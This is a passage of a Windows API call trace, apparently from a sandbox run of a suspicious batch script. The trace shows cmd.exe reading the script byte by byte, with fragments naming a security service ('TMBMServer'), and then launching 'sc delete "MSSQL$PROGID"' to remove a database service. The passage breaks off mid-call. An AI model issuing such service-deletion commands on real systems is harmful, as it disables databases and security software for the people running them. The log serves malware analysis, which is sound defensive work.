(in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0071.475] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.475] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.475] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0071.475] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.475] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.475] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="\"MBMServer\nRY$HL\"\nvice\n\n") returned 1 [0071.475] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.475] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.475] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="MBMServer\nRY$HL\"\nvice\n\n") returned 1 [0071.476] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.476] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.476] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="SMServer\nRY$HL\"\nvice\n\n") returned 1 [0071.476] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.476] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.476] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="SServer\nRY$HL\"\nvice\n\n") returned 1 [0071.476] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.476] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.476] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="Qerver\nRY$HL\"\nvice\n\n") returned 1 [0071.476] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.476] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.476] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="Lrver\nRY$HL\"\nvice\n\n") returned 1 [0071.476] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.476] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.476] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="$ver\nRY$HL\"\nvice\n\n") returned 1 [0071.476] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.476] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.476] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="Per\nRY$HL\"\nvice\n\n") returned 1 [0071.477] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.477] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.477] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="Rr\nRY$HL\"\nvice\n\n") returned 1 [0071.477] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.477] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.477] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="O\nRY$HL\"\nvice\n\n") returned 1 [0071.477] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.477] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.477] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="GRY$HL\"\nvice\n\n") returned 1 [0071.477] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.477] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.477] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="IY$HL\"\nvice\n\n") returned 1 [0071.477] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.477] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.477] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="D$HL\"\nvice\n\n") returned 1 [0071.477] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.477] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.477] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="\"HL\"\nvice\n\n") returned 1 [0071.477] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.477] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.478] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.478] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="\nL\"\nvice\n\n") returned 1 [0071.478] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.478] GetFileType (hFile=0xb8) returned 0x3 [0071.478] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.478] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.478] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.478] GetFileType (hFile=0x120) returned 0x3 [0071.478] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.478] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"MSSQL$PROGID\"\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"MSSQL$PROGID\"\n", lpUsedDefaultChar=0x0) returned 26 [0071.478] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x19, lpOverlapped=0x0) returned 1 [0071.478] GetProcessHeap () returned 0x4a0000 [0071.478] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0071.478] GetProcessHeap () returned 0x4a0000 [0071.478] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0071.478] GetProcessHeap () returned 0x4a0000 [0071.478] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0071.478] GetProcessHeap () returned 0x4a0000 [0071.478] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0071.478] GetProcessHeap () returned 0x4a0000 [0071.478] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3e) returned 0x4baa40 [0071.478] GetConsoleOutputCP () returned 0x1b5 [0071.479] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.479] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.479] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.479] GetProcessHeap () returned 0x4a0000 [0071.479] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0071.479] GetProcessHeap () returned 0x4a0000 [0071.479] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x44) returned 0x4baa90 [0071.479] GetProcessHeap () returned 0x4a0000 [0071.479] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc530 [0071.479] SetErrorMode (uMode=0x0) returned 0x1 [0071.479] SetErrorMode (uMode=0x1) returned 0x0 [0071.479] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc540, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0071.479] SetErrorMode (uMode=0x1) returned 0x1 [0071.479] GetProcessHeap () returned 0x4a0000 [0071.479] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc530, Size=0x62) returned 0x4bc530 [0071.479] GetProcessHeap () returned 0x4a0000 [0071.479] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc530) returned 0x62 [0071.479] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0071.479] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0071.479] GetProcessHeap () returned 0x4a0000 [0071.479] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0071.479] GetProcessHeap () returned 0x4a0000 [0071.479] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0071.480] GetProcessHeap () returned 0x4a0000 [0071.480] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0071.480] GetProcessHeap () returned 0x4a0000 [0071.480] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0071.480] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0071.480] GetProcessHeap () returned 0x4a0000 [0071.480] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0071.480] GetProcessHeap () returned 0x4a0000 [0071.480] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0071.480] GetProcessHeap () returned 0x4a0000 [0071.480] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0071.480] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.480] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.480] GetLastError () returned 0x2 [0071.480] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.480] GetLastError () returned 0x2 [0071.480] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.480] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0071.481] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0071.481] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.481] GetLastError () returned 0x2 [0071.481] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0071.481] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0071.481] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0071.481] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0071.481] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.481] GetProcessHeap () returned 0x4a0000 [0071.481] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0071.481] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.481] GetProcessHeap () returned 0x4a0000 [0071.481] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xaa) returned 0x4b9180 [0071.481] GetProcessHeap () returned 0x4a0000 [0071.481] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xaa [0071.481] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"MSSQL$PROGID\"") returned 1 [0071.482] GetProcessHeap () returned 0x4a0000 [0071.482] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0071.482] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0071.482] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0071.482] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0071.482] GetProcessHeap () returned 0x4a0000 [0071.482] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0071.482] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0071.482] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0071.482] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0071.482] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0071.482] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.482] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.482] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.482] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0071.482] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0071.482] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0071.482] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.483] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.483] GetProcessHeap () returned 0x4a0000 [0071.483] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0071.483] GetProcessHeap () returned 0x4a0000 [0071.483] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0071.483] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"MSSQL$PROGID\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"MSSQL$PROGID\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete \"MSSQL$PROGID\"", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0xaa0, dwThreadId=0xad8)) returned 1 [0071.487] CloseHandle (hObject=0x50) returned 1 [0071.487] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0071.487] GetProcessHeap () returned 0x4a0000 [0071.487] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0071.487] GetEnvironmentStringsW () returned 0x4bba10* [0071.487] GetProcessHeap () returned 0x4a0000 [0071.487] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0071.487] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0071.487] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, 